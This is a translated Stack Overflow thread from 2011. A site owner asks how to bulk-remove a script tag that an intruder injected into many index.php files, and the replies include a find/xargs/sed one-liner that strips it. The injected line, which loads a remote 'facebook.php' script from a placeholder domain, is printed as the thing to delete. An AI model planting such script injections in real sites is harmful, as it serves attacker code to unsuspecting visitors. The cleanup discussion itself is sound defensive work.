2011-04-21 86 views
2

很遺憾,我再一次在Linux Plesk服務器上處理被黑網站。雖然這個問題已經修正了FTP訪問的改變(它涉及到PC上着名的Filezilla FTP代碼),但我很想知道如何編輯文件,因爲它可能需要一個多小時才能將站點恢復到最近的備份我們有,我很樂意讓它更快地恢復在線。 黑客相當簡單:在網站中的許多索引*(只有index.php似乎)文件中插入了JavaScript代碼。 我正在尋找一種方式來大規模編輯被黑客入侵的文件,知道即使目標JavaScript代碼是相同的,它也可能是從一些也可能被黑客入侵的網站調用的。因此,雖然用了我合法的索引文件與Linux命令行:編輯被黑客入侵的索引文件

<?php 

現在開始喜歡

<script type="text/javascript" src="http://(RANDOMDOMAINHERE)/facebook.php"></script><?php 

作爲該鏈包含一個變量開始,你能不能幫我找到一個安全可靠的方法編輯所有的改變索引文件(找到約80個)? 我以前用過SED替換,但是這次替換鏈的一部分變化很大,所以我可以用通配符嗎? 最好的問候,謝謝光芒!

+0

@sehe其實,我downvoted答案並且坦率地說是煽動性的。 OP有很多問題需要處理被黑客入侵的服務器,其中包括修復這個問題所涉及的損害。也許OP應該編輯帖子,說出「我確定並刪除了這個漏洞」,以便從社區獲得合法的幫助。 – poundifdef 2011-04-21 22:31:52

+0

我很欣賞你低估了它。無害。我會刪除在OP的snarky評論。然而,我覺得這兩個答案都是爲了防止進一步的危害和損害而作出的。我確實認爲從那裏開始另一個答案是沒有用的。 – sehe 2011-04-21 22:35:35

+0

這個美妙的網站是爲了幫助像我這樣的人提高他們的知識,例如正則表達式和cli工具,而不是接受半智慧和無用的悲觀評論,幫助任何人。 – Denis 2011-04-21 22:36:52

回答

-1

我會在解決這個問題之前解決跨邊界腳本攻擊,否則它將全部徒勞。當這樣做了一個簡單的搜索並替換包含一個公共字符串的腳本塊應該就足夠了。

+2

「我會修復交叉方腳本利用之前,解決這個問題,否則將是徒勞的「。這確實是有道理的,我也在這方面工作。一旦處理完了,我很高興看到一個 的例子「簡單的搜索和替換包含一個普通字符串的腳本塊」。 – Denis 2011-04-21 22:11:55

+0

只是爲了澄清,黑客確實*不*發生在我們的服務器端,並在技術上是一個合法帳戶的未經授權的訪問,因爲服務器的網站上發生的變化發生在黑客竊取的Windows PC上的證書,顯然在Filezilla未加密存儲證書。感謝您的有效幫助。 – Denis 2011-12-01 20:16:56

1

我真誠地希望您不要實際管理生產域。您應該通知您的用戶,解決問題,並提供用戶返回到最近沒有發現問題的備份。

不知道還有什麼被篡改的。

我很高興我的VPS在別的地方!

+2

不知道我在哪一點上詢問了一個你一無所知的背景下的建議。沒有生產站點,也沒有用戶應該擔心的用戶。是的,我確實在託管我工作的單個測試域的服務器上遇到安全問題,所以這個問題是關於批量編輯文件的幫助,沒有別的。我沒有投下任何答案,但很高興有人認爲你應該是。 – Denis 2011-04-21 22:32:19

+0

我想我錯誤地解釋了'不幸再次處理...'和'(約80發現)',假設有80個不同的網站:) Sry回合說。 (_I回到我的建議,但由於它是無用的,我發佈了一個真正的答案) – sehe 2011-04-21 22:42:39

3
find -name 'index.php' -print0 | 
    xargs -0 sed -i '1s#^<script type="text/javascript" src="http://.*\?/facebook.php"></script>##g' 

應該做的奇蹟

sed命令:

  • 1(在第一行匹配)
  • s#pattern#replacement#g(由替換替換模式,而不是後者爲空)
  • ^必須匹配在行首
  • .*\?接受任意長度的字符序列;然而,如果超過一個匹配整個模式可以進行,只是因爲他們不回答樓主的問題,與之相匹配的

乾杯最短的變種

+0

missid -i標誌,現在編輯 – sehe 2011-04-21 22:43:16

+0

@poundifdef:謝謝你捕捉:這是一個糟糕的SO-習慣用'反引號'......我將開始觀察(第一次發生) – sehe 2011-04-21 22:49:36

+0

並將其分解:'xargs'將'find'返回的每個結果作爲'sed'中的參數使用。 '-i'執行文件的原地替換(作爲參數通過xargs傳遞給sed)。和正則表達式......好吧,其他人將不得不闡明這個正則表達式的工作原理! – poundifdef 2011-04-21 22:55:29